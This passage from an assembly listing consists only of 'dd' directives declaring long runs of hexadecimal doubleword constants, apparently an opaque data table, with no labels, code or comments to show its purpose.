0D70B38A3h, 0B01E9D93h, 1BD829D7h, 0A24DB329h dd 554CA643h, 7E3381DBh, 0C25CDA3Ch, 3F60B46h, 6EFF010Ah dd 49220B37h, 0E92E95EEh, 7AE51F3Fh, 0BC05A0ABh, 4411E40Eh dd 0F12DFFE2h, 0E8A8FFD9h, 6F09130Ch, 0EA68A998h, 0D810B79h dd 0B3B4786Fh, 123ACC5Fh, 489A9109h, 7F999E7Eh, 3ADD905Ah dd 2D49AC38h, 0A4857143h, 99367529h, 0A8E0E3C1h, 7FB59F32h dd 0AAF70518h, 52F188BFh, 12E7823Ah, 3FDF6C0Bh, 0DFDA7F66h dd 0FD7184ADh, 44839522h, 766AEE71h, 0E4524FFBh, 0C505BB3Dh dd 813CF2B6h, 7A103CC7h, 7089C2D3h, 1DA22F2Ch, 0AE0856D4h dd 0AC6785B9h, 99A752F0h, 0FDBB095Dh, 59069DB5h, 5855D85Dh dd 0B40C7E24h, 43B75115h, 99248D06h, 330F3B09h, 0D922F00Dh dd 0D1C2FCC1h, 13CCEF46h, 0E28247ABh, 0FAA6CAA0h, 0F399C85Fh dd 50210387h, 555455B7h, 1F84338Ch, 0A651E660h, 0F5467017h dd 0F16FB86Dh, 0C72790DAh, 7116ED15h, 34580226h, 0C076F196h dd 6225CE6Ah, 0BE12695Ah, 34A7F2E0h, 0DB098CBCh, 1E48D96Ah dd 6EF8052h, 6D3C138Eh, 224DCF0Bh, 3EB7BEDBh, 114820E0h dd 1E5C495Eh, 0F16CD609h, 1E8AD0B8h, 0DF3F6075h, 1ABBB09Ah dd 3A8B1D5Fh, 94016611h, 33FF8560h, 202E21F4h, 797D9747h dd 967A0A1h, 143593D8h, 0F5FE39A0h, 90AE2B38h, 0C201887Ah dd 80A9C736h, 8B520F25h, 0CB61F79h, 6D59BCBDh, 3B74F1Ch dd 56C4E6C0h, 881D0D9h, 0A0B64CDh, 0F25D8514h, 1E64D2Ah dd 7979B48Dh, 0D131E860h, 0F8D7CE44h, 4FF8E72Ah, 8F3477h dd 0D0A6829Bh, 3C7DF6C8h, 5C656866h, 5BD57829h, 4C258BBAh dd 6C5B2F76h, 7BC0889Bh, 0D811DF00h, 9A8FE5A4h, 1904866Bh dd 0D70F4E45h, 0B9D4B8D8h, 0D2FA8ED0h, 1A3C125Fh, 8831E62h dd 1F3A5BCDh, 0E270FBBAh, 0EA5BC994h, 0C55F7BDBh, 52A539B6h dd 0B9A1902h, 48A11979h, 0DF91B135h, 1C9D130Fh, 0E9A09035h dd 0C7D92BF7h, 1C19B3Fh, 2FB6D66Bh, 0BD103D2Ch, 9CCC9FBEh dd 0E96D0F47h, 2AAB8739h, 0F67E06DCh, 8CBA8AE1h, 84A41C50h dd 0D880E096h, 87666B0Fh, 0F18226Fh, 66D33BBh, 215E1682h dd 221DC7CAh, 6FB0C173h, 9594923Fh, 62A5F8FDh, 0D1DC18EDh dd 0D6F4A6F3h, 4031BF3h, 0E8354F2Ah, 0CE987994h, 209CD01Ah dd 0EAB01DF4h, 83C3F1F0h, 9F6117h, 0A61E7352h, 7DC6243Eh dd 0DCEDCBB4h, 48D4CEA7h, 47210659h, 100E34AAh, 0AA410F38h dd 50EDFB22h, 0C8351FD5h, 0FDAFBAD4h, 0C7CF6750h, 0DEA1790Dh dd 60B3CABh, 6FBFCCA6h, 0FFC6667h, 0FA14E413h, 0BC0E3E8Fh dd 0C1E79FCFh, 0B6A391DDh, 0CC88D1A7h, 0B42A6B41h, 54E1518h dd 0BF564F8Ah, 76F8812Bh, 192B8BBDh, 395EF832h, 0F5F23244h dd 66CC3D58h, 8187BF84h, 0BD03F21h, 0BEBDD256h, 39B71086h dd 41A95E12h, 33EF8655h, 9ED50C55h, 9C74C8EFh, 0BEB42B56h dd 0C7EDF228h, 0E94F8C84h, 93008801h, 0D817ADECh, 0A215BE45h dd 9A446B0Eh, 11968F3Ch, 8D98D43Dh, 0BFC6FAE5h, 12805BC8h dd 31B06FD9h, 0E836A6B9h, 61897A22h, 24634273h, 6729DE7Bh dd 0EF64ED3Ah, 4779CC44h, 0F0488E1Eh, 5571FE1Bh, 75BAB416h dd 6CA5A3E6h, 87007AADh, 78BA866Bh, 39D580D6h, 0C9473348h dd 66C96ADBh, 1A60D466h, 57450E86h, 2B6D69DBh, 68816DB7h dd 0E971708Eh, 3F57D2B5h, 93C4AB28h, 7DDA9C8Ch, 38EE321Fh dd 0A61F2BFBh, 0A5982F6Eh, 0A6C89CFEh, 7CE92285h, 79438ABCh dd 205700ADh, 9E7FBC2h, 0D38A320Bh, 0AB14C75Bh, 1FDFC5Bh dd 0B06C9C6Eh, 61F56B3Dh, 63EFDE41h, 6CF530C3h, 0F1F695CCh dd 5142A04Dh, 715C7993h, 9F1D51C9h, 6769DE8h, 4511399Ah dd 5851FAFh, 0AE67CB01h, 4C5D5004h, 0E7227AEDh, 4484A214h dd 713E964Eh, 37DCFC2Dh, 0A69BDA8Fh, 946238CCh, 0E91846ABh dd 3257029Ah, 6D4F19B3h dd 0EF22EE6Ch, 62840D7Eh, 0D54B59E8h, 0A1ADF0A9h, 37257B4Eh dd 0C4B0D990h, 8C129FAAh, 98AAA7E1h, 80A2CE85h, 0DFD89B41h dd 0B5B9F311h, 23A2EB5Eh, 0BB63BB98h, 17EE614Eh, 1472B0A9h dd 7227407Ah, 1F9296F1h, 0E8A9A8ACh, 0B7022724h, 0E5AF7F4Dh dd 0C99866F5h, 6F4DB6FEh, 787FB14h, 6C76F835h, 7B7F2C7Bh dd 8AFD530Ah, 0E6259321h, 67946DA6h, 6093FF27h, 9676010Ah dd 4C8CF3Ch, 0E7405DA3h, 0B4DB284Ch, 834F748Dh, 0C4529F6Ch dd 0AD2946F2h, 4D736AEBh, 0C1D43AD6h, 0C80396AFh, 0BC898F7Ah dd 4878CE7Eh, 3985DB24h, 9CCB5278h, 0ECC9A5BCh, 0EF59FF00h dd 0CB612350h, 0A4C1392Fh, 0F086A0FFh, 26E0E9D5h, 0DD00A27Dh dd 475107E6h, 0FD59EC21h, 0A404E6C9h, 5575B0BCh, 684E9B38h dd 0EA66B07Bh, 750ED9C0h, 3AAB2086h, 0BEB123C3h, 913890CAh dd 7CA82C72h, 222B57E3h, 9F352B31h, 0A8FF8833h, 0CA4CBB40h dd 356310B1h, 547A6ADDh, 0A922A306h, 0BFDB1A9Bh, 7ACCFFA2h dd 38EA98B8h, 969696EAh, 0D87CC287h, 0D73FBA11h, 625D8755h dd 8FFB5DBAh, 0A7ACC0CAh, 98913324h, 0AAE6596Fh, 62851A50h dd 0D2584ED3h, 0CA6AB8A9h, 1ED9E48h, 9AD61906h, 175A31D7h dd 82E04AC8h, 5BBA2D9Eh, 0EE374E4Ch, 1F7F9859h, 0CB331486h dd 1204DC48h, 0ADD9A297h, 0B70E078Ah, 3234C1D4h, 0C657F980h dd 1B13D4ADh, 6DB972E8h, 4E21095Fh, 7BE96E36h, 64A2234Ah dd 6286E704h, 0B3060C16h, 26034794h, 3ADF2C6Eh, 0B3114263h dd 0C32B8108h, 0FA90EB51h, 0F8E1F613h, 0B79002EAh, 15AE8D0Eh dd 0B7D08273h, 0FCF5DD9Bh, 80E640EBh, 0B0A94188h, 8D10B71Fh dd 4BF83D66h, 2B0E4C7Ah, 0CBA6B4E2h, 0A14248BAh, 0D8B83C46h dd 0D003D6B5h, 4576D2D7h, 0A978F36Fh, 0FAD38829h, 902B7FC5h dd 0A49C531h, 690BB33Eh, 0A39E5CF3h, 0A438331Ch, 1DCF1E1h dd 6D08E9A7h, 0E097F690h, 4066B6B5h, 0EA783E2Ah, 0B08DA57Ch dd 83E7D4EEh, 0E82B8DCDh, 3F7825F5h, 0BA590773h, 21C421BCh dd 0EF5840BEh, 7C270995h, 5F955484h, 0FE48C748h, 0F1BAD99Fh dd 6433628Ch, 99A1C401h, 25E9CD0Fh, 46EE5B55h, 656E0D31h dd 0FD76A635h, 2EB38C78h, 88F34F1Fh, 1C870C6Eh, 203F6600h dd 229D905Ch, 0B7D4C05Dh, 0B95BA4E4h, 0A1AB82A8h, 39BB6751h dd 1BFF13E1h, 0DA8DF51h, 576B3B63h, 133D9CB6h, 5E44108Bh dd 8084F5FEh, 6328F498h, 8C9D9D00h, 0EBB87910h, 37DCA4D7h dd 0FA3755Dh, 4C3C2603h, 1F8D499Eh, 395DEE1Dh, 0BCA3FEFFh dd 532CD87Fh, 187338B7h, 28A24D3Eh, 0BFC3E0A4h, 8C67A1D3h dd 0D5BDE1EAh, 0B56494C0h, 5869DAEAh, 960D6781h, 0AC03FB83h dd 97D061A8h, 6C1E60DCh, 0FAD6169Bh, 53D1B4AEh, 8420EB80h dd 0BB613FAFh, 0D96DAB55h, 473C7DCAh, 22008FE8h, 0B5D6ED40h dd 0FAC46263h, 0FA314ACh, 0ABD1240Fh, 0C9BD7CBCh, 82AF2ECDh dd 0DB389E7Ch, 65A8444Fh, 0F7E1C4CCh, 8EBDE0C4h, 50D689FFh dd 177B08A0h, 5C2C6794h, 75B533CDh, 0B71FE54Bh, 0AECCCD59h dd 0E4D3AF5h, 2170670Ah, 0B393A607h, 0F3569D47h, 38D86936h dd 0E2467E4Dh, 0F8B40D87h, 0D38EBD17h, 6DEE0AE2h, 0F2635268h dd 3459E2E4h, 0C5060E12h, 0E62CB6CBh, 0EB952B4h, 0F2F41BA7h dd 0C22F0FF2h, 0B579B250h, 3635CF19h, 33251FEDh, 0B758E9E1h dd 9222D2BDh, 0D9B5954Dh, 10E94E41h, 8FB29AE0h, 3A810774h dd 54EC46CCh, 426DFB82h, 8638D09Bh, 65E2F9CBh, 1642EF0Dh dd 0FB2FD9CAh, 50F6F90Dh, 4800FF14h, 5F9E5116h, 0E590CA23h dd 0F53F9B8Ah, 8338A871h, 236B0516h, 0D31E4819h, 4C8C196Bh dd 0AB9141BEh, 2B63CB12h, 3E0E5758h, 0B09A5EDBh, 4475A59Bh dd 69C6900Eh, 0F70D221Fh, 0A313980Dh, 0D2B085DBh, 533A39ECh dd 57C7BA33h, 0C6D3A831h, 34F9DC0Ch, 58C16D3Ch, 3D9F405Dh dd 4687C054h, 75A01C7Ah, 0A22E7DA6h, 2D1BFC8Ah, 5B84FDAFh dd 1E6EC602h, 0B2388D79h, 0F8C0F1A6h, 4EEE9DDBh, 0CC0809C6h dd 43517B65h, 0B2F53F11h, 2882FC73h, 9BC3CAB5h, 3347A2CBh dd 0DEE388DCh, 60419E4h, 81C10903h, 35C5A944h, 3A02CB6Fh dd 0D7FCE80Dh, 5131324Ah, 0E7530EA6h, 80FA9A48h, 5DB4FA76h dd 69E3B27Fh, 88945F83h, 0ACC5B14Fh, 79240C20h, 0CF4A1381h dd 9C043173h, 338F6944h, 0D8B934ADh, 0D8D0EAC3h, 876AF8DFh dd 0C4EDFEBFh, 7C4C2B2Bh, 0EEB68AB2h, 5BE1FE61h, 51600A2Dh dd 86BEF0B4h, 9972272Bh, 0F39DB615h, 8B6EC55Eh, 2ECB0960h dd 37DD8BF1h, 71D5093Fh, 0C810655Fh, 0EB4F0DBDh, 44FEC68Ch dd 12EE4BCCh, 29F26F92h, 0EBC3324Eh, 0DBCF3A12h, 99DA6Fh dd 0A33C9453h, 9043B22Eh, 0E1118450h, 9F6C2057h, 42801DA6h dd 670FEC5h, 0FC2B96B4h, 0D4ABB18Ch, 0F5B76AE2h, 80227DD2h dd 736B77B2h, 0E429852h, 6F72F7DCh, 739DC5C7h, 0E6D1B327h dd 0ED697568h, 591FFBB6h, 0F5340BA8h, 3A95D1BDh, 97773B5Ah dd 0BCD5EA3h, 81B59E9Dh, 0B556838Eh, 0B738C286h, 577B3B81h dd 6C0FB727h, 16CB476Ah, 9400DCAEh, 973AF659h, 3DC5D4BBh dd 0ACB93101h, 72FBEDA9h, 0BC92DD59h, 2A2354D8h, 0BE676A47h dd 7A39F85Bh, 641DD7EEh, 8C087C2Ch, 184265BEh, 0C131CAB9h dd 0EB56E2AFh, 6EC70B2h, 0FF29E054h, 0D4DED25Dh, 0A00D71C5h dd 124A0B8Eh, 604C3C47h, 0EFC61EC6h, 0B35FB8EEh, 0CB93B865h dd 0EA8CE04Bh, 92D529FEh, 93D0E517h, 6C68D65h, 4D9BB2D1h dd 0CD525B0Ah, 1666D251h, 0DC173E38h, 0E2643EBCh, 9CB54AF6h dd 0B70B157Ah, 0B6D2866Bh, 0EE692EABh, 23E58C7Eh, 89844F08h dd 5221FC34h, 80CDEA7Ch, 0C2DF56B4h, 1B671B02h, 5B8DDA7Bh dd 0C1ED27E3h, 176FD34Bh, 25ED988Fh, 0DE745382h, 0F7A6F09h dd 67AB44Bh, 0ED058224h, 33108157h, 4B729457h, 84712A02h dd 0CC2930E0h, 2CA358D6h, 31488EE1h, 0C0C338ABh, 90410C7Bh dd 85AB40FEh, 892E465Eh, 84B513D8h, 5237B574h, 8D81C1CDh dd 66A23332h, 112A2D0h, 1A3D8B8Fh, 533EDA11h, 0A47BDF65h dd 2785AAC8h, 0B78E2A0Bh, 0EA5F2B9Dh, 0BC71682Ch, 3B797502h dd 2CD4AD4Bh, 611ED394h, 9C97A903h, 641DAF9Ch, 0F171315h dd 7121B53Eh, 71FFB9A5h, 0C4692F75h, 0FD348735h, 0F0BC9718h dd 0D573A499h, 6F068767h, 33923748h, 0FFF6DF2h, 9CD12D2Eh dd 93B15CFFh, 0D65EB674h, 0F52C9472h, 0F8920EA0h, 2AFD0D69h dd 3CD2F86Eh, 0A6BF6929h, 5957644Ah, 5C310CFCh, 6DFAA4D5h dd 0D6A3EEF5h, 0D7CEA4F2h, 357151C5h, 806D1E0Eh, 0EDEBE50Fh dd 2B48558Eh, 0F5FEE2B4h, 0A35C24FCh, 1872DD0Fh, 0E7DCFB76h dd 6A8636A1h, 3E063D07h, 44354A6Ch, 43A0A5A5h, 44D91CDCh dd 71A617CEh, 653B2517h, 4C3FE6CFh, 59D59DC1h, 0ABD25B5Ah dd 0E61F54A0h, 0C2F856Eh, 80DCA02Dh, 325F7640h, 0CFEA8BADh dd 47ABE40Eh, 6B8ADF9Ch, 1AAA8513h, 0E805D8ABh, 860BE7FDh dd 0EEAD800Ah, 0EF7F2A00h, 0AF8CB877h, 5D28B8DAh, 4FCFA4ECh dd 519175B1h, 0C2091D6Dh, 3B1B0CF4h, 866D8357h, 1F90F4DFh dd 5B81E253h, 3A69DD6h, 2D7E8D78h, 36301444h, 0F06FF186h dd 0DF8C8FAAh, 1109A6C0h, 72762DBAh, 0C9B45C2Ch, 0EAC0D0DBh dd 92E1C9B5h, 325E2296h, 0CF2AFAADh, 5FCCE1EEh, 84AF7FF1h dd 4E30DD87h, 0F6CCAEA0h, 899182DFh, 0E2A8E03h, 0CA816EB1h dd 27819FB1h, 0AF3082E2h, 17DA3357h, 0F7AE8EEDh, 0C76A1B53h dd 0FE1C8740h, 0CAEAA9EAh dd 0F8FDEFCDh, 1CE9E138h, 0CA529376h, 2E6A2C7Ch, 817A6ED0h dd 15434B2Bh, 110AC214h, 0C8C91924h, 0FD5BB91Bh, 66D029AAh dd 0ACDCFAF9h, 0A2D1C754h, 368D17EEh, 0F3283B90h, 6A1377E4h dd 878E7968h, 0F1ECE288h, 0E1A8A346h, 0B8401B6Eh, 0B32621C6h dd 0E1A465A7h, 7D531FD9h, 0ABA1F62Ah, 2ADFFC48h, 0FBCA2E11h dd 0E5C63FDFh, 39B9B0E6h, 169B720Fh, 8AC8A8DDh, 0B1806321h dd 38F0ED90h, 78537302h, 8FA4B9ABh, 0FD8C865Ch, 37199F0Bh dd 0E0A7FAA9h, 0CFB0EB31h, 4DC785A8h, 0F5BA6079h, 9BDE2A8Fh dd 0AF87C02Dh, 21C1D355h, 0CF9DDDF5h, 0F97C6BC3h, 6C9EA577h dd 220B5AFEh, 9A97ABC5h, 9A34E68Ah, 9798B861h, 58BAEDCCh dd 0B9A7487h, 0EDE860F2h, 5A36A7DCh, 23D81570h, 0DA17CBEFh dd 0C2CA60F9h, 0D71B7460h, 4DC830B6h, 0E5F50AC1h, 543BF66Dh dd 12CBE83Dh, 73B7E15Dh, 0A9BC1B56h, 391B5C62h, 6EFA6E52h dd 0A76D6C75h, 1A6F1BC6h, 1571991Eh, 0ACE9CD96h, 303BD3E3h dd 0CED37EE2h, 8804717Ah, 0BFBA385Fh, 20A11196h, 94A27F06h dd 0B2B8E254h, 723A0669h, 0C801E42Bh, 7026B94Fh, 24085613h dd 0A4E02FC1h, 73010325h, 0AADDC868h, 0E289D7BBh, 50E413ABh dd 0EE152438h, 646D917Fh, 5DC6A5AFh, 0D70CC447h, 46069D2Fh dd 9BB427EBh, 648E8DB0h, 0F84A8E23h, 79CFA703h, 10EEA111h dd 2C44E38Dh, 83D70819h, 0D54A9FCBh, 3512EDE9h, 3268A3A1h dd 55BCA15Fh, 0C810A905h, 90070FC1h, 0B36D935Bh, 3C4B5149h dd 0CC6555DCh, 0DA6A4524h, 5940BFEBh, 0E3031A09h, 0F3CCE4A9h dd 79074441h, 0B1D0F2Ch, 86DB4B86h, 0FDC65A98h, 0CE222AFFh dd 89C85590h, 2D2DE4CCh, 75FEF338h, 8280C985h, 1D7EBD71h dd 0AB1BE2BAh, 45DFC65h, 468259F0h, 0FDB55E5Dh, 95F245C2h dd 62084C03h, 712CA222h, 93E194D3h, 5B3F66B8h, 0BA477910h dd 0C5C43CF3h, 1CB03D9Dh, 0B0FD6875h, 0B0A0BDF3h, 0FB6D8FBCh dd 736D37FBh, 9DD1520Dh, 9C90E3E2h, 9C1013Fh, 4F36C4A1h dd 0D3BE3E62h, 35052DE3h, 0B087A80Fh, 0FDF7521Bh, 92B68FF4h dd 0B7D7799Ch, 78E86F08h, 0F49BC45Bh, 0F9BB576Eh, 6A08D020h dd 41D1BE09h, 99155923h, 0EF64247Bh, 12A14676h, 41899034h dd 8782F5EEh, 0A1634CA1h, 1F55D776h, 923C279Ch, 8EA1EBDAh dd 939E0301h, 8FC9BBB9h, 0C43816A8h, 0AF1040D3h, 0F81322FFh dd 23472866h, 0E5B5BEB3h, 0C96F1A44h, 62B41459h, 0E1B1E004h dd 0E2471D87h, 86960820h, 9B1373A4h, 4949AFFBh, 4B4770C2h dd 929D2FE3h, 75FDDF2Dh, 88BA196Ch, 0BAD07723h, 0AA1F2B95h dd 0C0D1CF36h, 80A69165h, 39E11FBEh, 7487D639h, 723A67Ah dd 7763987Ch, 886919E8h, 268C6553h, 9BEF896Fh, 0B21D8262h dd 4CBB3901h, 1D9A44D5h, 581D6637h, 6119BA28h, 0DED8582Fh dd 0A75ACDB2h, 0C55B9BDCh, 94CC5BC1h, 38559A9Fh, 6D019D7Ah dd 49285BD7h, 6730A1E2h, 0EB2250D2h, 6417884Eh, 3F4DBB2Ch dd 76483F9Bh, 3AE9128Ch, 0F845F2C2h, 550495B9h, 1A44993Eh dd 0DFC25FC7h, 0BA3F150Eh, 0D06AD10Eh, 0D3A75F16h, 59EA9BE2h dd 0A005F9D2h, 0B5396E7Eh, 0AABC7BFh, 3ABD97BBh, 8AC3E118h dd 2213427Ch, 759553ABh, 7B5BD631h, 0B4F12335h, 0F2428AB6h dd 436364B7h, 0A6F6AD2Ch, 0D87FE847h, 7578EE0Bh, 0D3FBCA6Eh dd 217D24E1h, 5AC6184Dh, 0CCEB6AA7h, 0B804C076h, 0D95190B7h dd 449372A3h, 68A78EA1h, 21D5BCE7h, 5C38EB57h, 0C9CDEF4h dd 0DF542D66h, 0CE15302Dh, 8E410D06h, 59BEDF06h, 6EC12A2Bh dd 8F1B4840h, 0D4E5AB1Fh, 9A6A5A58h, 408A062Ch, 0DA164C89h dd 0B36AE34Bh, 0B88F5A7Ah, 654DA8B5h, 0A9508FFh, 1444D03Bh dd 0E8654EA7h, 5BE5574Fh, 0AA920F1Ah, 0C99780FFh, 1618942Bh dd 0B44A1D0Eh, 673E9BEEh, 0C4B6E697h, 0C9BC7F17h, 0E48A9808h dd 0BB037977h, 0F4407B48h, 8E415E87h, 5BFC31EBh, 67FB2FF0h dd 0EBF3624Dh, 8BDD23C8h, 4F464E08h, 9445E9F3h, 0AF217CA6h dd 0D7B02788h, 0DB655F9Dh, 3003F013h, 2F303666h, 9DF14953h dd 0AAE6C3Ah, 4ECFBA83h, 8AB5E0BBh, 8C79AD38h, 6E93E5F1h dd 2219EA65h, 47607B96h, 4D55385Ah, 1658BB3h, 3B8DA07Eh dd 0E3FAFA4Eh, 0D9F01A3Fh, 0F77B7865h, 1265016Fh, 5ABA7A65h dd 50024B57h, 0E1B7103Ch, 0B34E56B9h, 0F0F582CCh, 36120976h dd 47BED4D9h, 3B43436Bh, 8DE8D67Ah, 0DBD011CDh, 0C54E83E4h dd 0E9AC889Bh, 76CE6EC1h, 9369FC73h, 89056F2Ah, 80B9C214h dd 0EFEA79Ah, 95E32F16h, 0FB63C7F6h, 6F5E1232h, 733A77EDh dd 6860C5FAh, 0D190ECD6h, 0F625705Bh, 4956D692h, 0BEEDBDBDh dd 0C6A2385Dh, 3FEB3878h, 849B49EDh, 45382F31h, 19E0F0E5h dd 2F902FE4h, 662EEEEEh, 80740542h, 6B43432Fh, 9FEFA94Ch dd 8C3FF60h, 0F71E1BCCh, 9C4ABEFFh, 892D3CDBh, 8386D140h dd 0F9291A4Bh, 0A48D0D93h, 312EFA19h, 0B06BE83Ah, 0D57D52Fh dd 0A07215DBh, 88DE8550h, 0AAC54E74h, 7B29D250h, 4FC61E11h dd 23FA59D3h, 0F707AC14h, 5702260Ah, 0FCDBB3F6h, 0F9835DDBh dd 0D4C84200h, 0B6A1BC76h, 0A680A147h, 32C6E7B1h, 9C09E4A4h dd 7EFF3200h, 33789286h, 1972EE7Dh, 3D187402h, 2C7545Eh dd 0DB6BE227h, 91B03A1Ch, 0DCDA31B4h, 1AEA5B4Bh, 7D25D02Fh dd 15535B19h, 493275C5h, 9D155A1Bh, 0B93DFEC2h, 61253BB7h dd 13A4E98Ah, 0BF03E572h, 2EB3B3D9h, 3DF53225h, 81A0CAh dd 0AB224DFCh, 7832CD26h, 40925EA4h, 0FF6F4042h, 5E01CA9Eh dd 1BCF240Eh, 856B7CC2h, 10D7F243h, 3F580804h, 0C6326E70h dd 699E2955h, 185B2267h, 741E3E61h, 2BF34C97h, 0FF221617h dd 71218EA9h, 0DE4E3BCAh, 0C328B89Fh, 239B773Bh, 8ADB4DCEh dd 0EE5C5B74h, 0FD27BBF0h, 0A879B91Bh, 0F670703Ch, 599BF8D0h dd 8259AD89h, 536A347h, 54C7D614h, 0E9F37533h, 90B887ADh dd 4A442F3Dh, 794E3AC6h, 0E49BAC49h, 53BB621Ah, 0FE9F003Eh dd 961F916Ch, 0A2764372h, 4AB259E7h, 6D782E20h, 387A7853h dd 45719980h, 657BC3B5h, 91876DC4h, 0DA006458h, 1A40807Ch dd 0CFD3D5E0h, 13BC1F57h, 0D358CB47h, 0E7007B3Dh, 8D42271Ah dd 2887B224h, 0EC53F269h, 72FA139h, 45E1793Ah, 0AF34C337h dd 434B5D76h, 1C46FB96h, 3E2F6EDBh, 8AF09DA9h, 89839420h dd 0A415DAF7h, 0A6DBA8DEh, 0FFBAE7D1h, 25DFCC0h, 0A60A13BEh dd 878CF579h, 0C112CB83h, 4B9F62BBh, 170BB76Ah, 98B5862Bh dd 0C5FD671Ah, 0B95331BFh, 7273E9C0h, 0D18A138Dh, 0EA2728Ah dd 204C182Dh, 0CE8B6612h, 503DB359h, 0CA1F2D52h, 7219CBF6h dd 101C6D6Dh, 26540E5Fh, 0CD9FC29h, 5CAEB137h, 0FDE911E0h dd 7D7742C9h, 7787E10Eh, 7238DDB8h, 46A78AA2h, 8D13E02Bh dd 42742B1Dh, 8CBF1ACFh, 0DC3853ABh, 0E3D94A7Dh, 98E53952h dd 88D84772h, 0C824A6D6h, 842AB279h, 0C0C023ECh, 0E2A2717Ah dd 0F00543BAh, 0D4CD2337h, 0C3E99EC3h, 0D60AAE1Bh, 409ADA34h dd 0C4056690h, 0D51E7AEAh, 0D9839030h, 0D408D144h, 9C3243A8h dd 26499396h, 1AC8D852h, 0DF719267h, 3BBA7AB2h, 97D07132h dd 657A952Bh, 6B93FBF2h, 0E3F5B74Ch, 0A9BE5F63h, 99ED8D12h dd 9C85DA4Eh, 0AC8B562Dh, 6A02AE87h, 90009BCh, 0BBF8624Bh dd 23BC948h, 291309FBh, 677389FBh, 8B03812Dh, 20B35717h dd 6E136E21h, 8E07AF8Ch, 8B258729h, 2A311420h, 0F342A072h dd 1818CF10h, 791EBEDDh dd 0C1012782h, 303EF754h, 3A39D205h, 449D2680h, 0B3818Ch dd 93A2241h, 0BAA51559h, 0A795B99Ch, 0FBBCED62h, 0F211F091h dd 306329F9h, 0A4D051F7h, 277922E4h, 0CDF4F0Dh, 77F45CDEh dd 0C3F80714h, 493AE42Eh, 7FAE9AE9h, 0DEE5196h, 22AF6A1Dh dd 93DB26AFh, 0CC0B814Ah, 1DF55BE2h, 55F10B4Dh, 0AC48D481h dd 0CA31E3D6h, 6E7610E0h, 0B40282D1h, 0A03AD7A5h, 88036A7Dh dd 57472E10h, 0EB99B42Bh, 0EBA87B3Bh, 1E33A5Eh, 7F5D8CD0h dd 0AAD8719Fh, 76754E38h, 1A267153h, 7D3C1B36h, 0EFE6332Dh dd 2D03194Ah, 83240012h, 0BD194B9Bh, 548A01BFh, 93CD746Ch dd 0F7065CF3h, 6E782EA5h, 0E20D6433h, 0B400392Bh, 0AFBFD17Dh dd 0EEBFA191h, 0A6BDD7BCh, 0BE6301DCh, 8CA3B80Eh, 0BDF1D8C4h dd 18112A28h, 0D7F48499h, 0A5C3923Ch, 0CFDF6F41h, 4D100250h dd 0F67C7303h, 5AD9A725h, 0BCDE66A8h, 8509330Bh, 4D79A51Ah dd 0DE74F7E9h, 6B5E6B6Dh, 243C5752h, 894EA19Ch, 0CCA4B36Bh dd 72E23FEh, 44BC73C0h, 4C1F0862h, 34139572h, 0B1685027h dd 481D548Ch, 41F782B1h, 7F2EFBEAh, 264A2C01h, 8BC34D36h dd 0B8C3EC33h, 5D4E1146h, 2E297A4Ah, 9173B9C0h, 3E74FE91h dd 779BCDE1h, 47017208h, 51DADF9Fh, 25AC689h, 3783F545h dd 9BF57135h, 99D7A28Ah, 75B0FAFBh, 0FD563592h, 39B4453Eh dd 9C9379B9h, 9B120450h, 9D367E6Fh, 0C90C591Bh, 0B66FBDF1h dd 0CDA9A512h, 9CBAC7CDh, 0D28B72AAh, 666BD77Eh, 751E60EDh dd 1E1180E0h, 811F99FDh, 804B555h, 3D17062Dh, 0CE28F894h dd 3BC9DFFh, 0A2249E25h, 0AB9C8819h, 32F30FBDh, 8C7D1ABAh dd 7A31A74Ch, 73086866h, 71C7FF18h, 4071535Eh, 8FAFD37Fh dd 0C9B98286h, 0F51E5DE2h, 0FCB1FD13h, 0D1D52804h, 9B1AEA35h dd 0BC9CC152h, 41E199A6h, 0AA53B6E5h, 0E605A68Dh, 328F517Eh dd 653F6C29h, 23A35672h, 0A1ED792Eh, 0F97A9375h, 8373F3D1h dd 42C628B6h, 0B028F860h, 2485B387h, 83EF2B64h, 2D144613h dd 0FC36B88Ah, 4B5C5834h, 220106E2h, 1C3409DDh, 5D311A0Fh dd 499A1187h, 0A4272459h, 12C110DBh, 0C77E5D62h, 0EA6E09D6h dd 0E3B1EC85h, 0EC97DB12h, 0F03157B7h, 0CD920349h, 8348C9B8h dd 1C8BF280h, 0DEE853C2h, 62824487h, 0A3366064h, 0A271A87h dd 54EE5931h, 913D583Fh, 0FE3F8107h, 0BBAF0949h, 3EFFB631h dd 1391C78h, 0EE686513h, 76491B7Eh, 4CEAC43h, 0C6547FACh dd 0B3573E28h, 9E546801h, 70135481h, 2EE76E95h, 75814E2Ah dd 4F2CBBC6h, 4D0CAB37h, 22984B9Ch, 796B2A0Bh, 0B30B67FBh dd 19EEE5A0h, 419519EBh, 3210ED8Eh, 8B2B9BF3h, 0A72C58C3h dd 0FBF84781h, 80AA9726h, 0B5F79132h, 39CF9025h, 0CB5C9ADDh dd 1B5051B2h, 6E90120Ah, 55197DEDh, 2CB0B67Ah, 5298FD99h dd 0F55E956Fh, 0A58ECDD8h, 0F00E97DAh, 0C15EE51Dh, 0AAA8ADC1h dd 90743AC1h, 4E072686h, 3953BB86h, 99D60F75h, 2CDB568h dd 228707BDh, 264722BEh, 7AB20AECh, 0C132493h, 0D75059Fh dd 0B4EA1D6Ah, 7B9F1410h, 5D907574h, 991BCC25h, 0BD1318A6h dd 0C850B4Ah, 81ACDEA1h, 52C89879h, 0A42F7806h, 0B05E9CDFh dd 7D5F0024h, 45317039h, 610EE38Eh, 1C5E686Ah, 5A7277D7h dd 0A95A148Bh, 79F2D7C8h, 0F0799921h, 47939F61h, 0BA7CB1E2h dd 5177F734h, 0F799B25Fh, 260A11F2h, 0C096D225h, 0A8B1FDCh dd 2475E8CAh, 1AA2EAh, 5E44A401h, 784956ADh, 27D15426h dd 51F4381h, 3A0B9AA6h, 5052AC47h, 0D83FA3ABh, 9182241Eh dd 459A42E9h, 0D6EA80B3h, 36217818h, 2614FF14h, 0A2DBE8EAh dd 0E6F189h, 8E9ACA0h, 410F795Eh, 0AC9F114Dh, 21C67700h dd 0A89ACF23h, 2852277Eh, 3FE1772Bh, 0A627F655h, 0FDDA0663h dd 33247EDh, 57CEBC6Dh, 0F0038958h, 0C3126E3Bh, 888D087Eh dd 0F5C3BDE3h, 0C58BA435h, 0C260C6BFh, 47CA7183h, 0F7594D1Bh dd 0FCFA518h, 13BF8593h, 0BC8F6FBEh, 0ED247BE7h, 0D8D445A7h dd 65553F35h, 7881A995h, 0FAB41B5Eh, 84FF3551h, 0E814D50Dh dd 0F5A7016Eh, 2125BDC2h, 1596D8F9h, 3CA075B8h, 0B1F7E0A8h dd 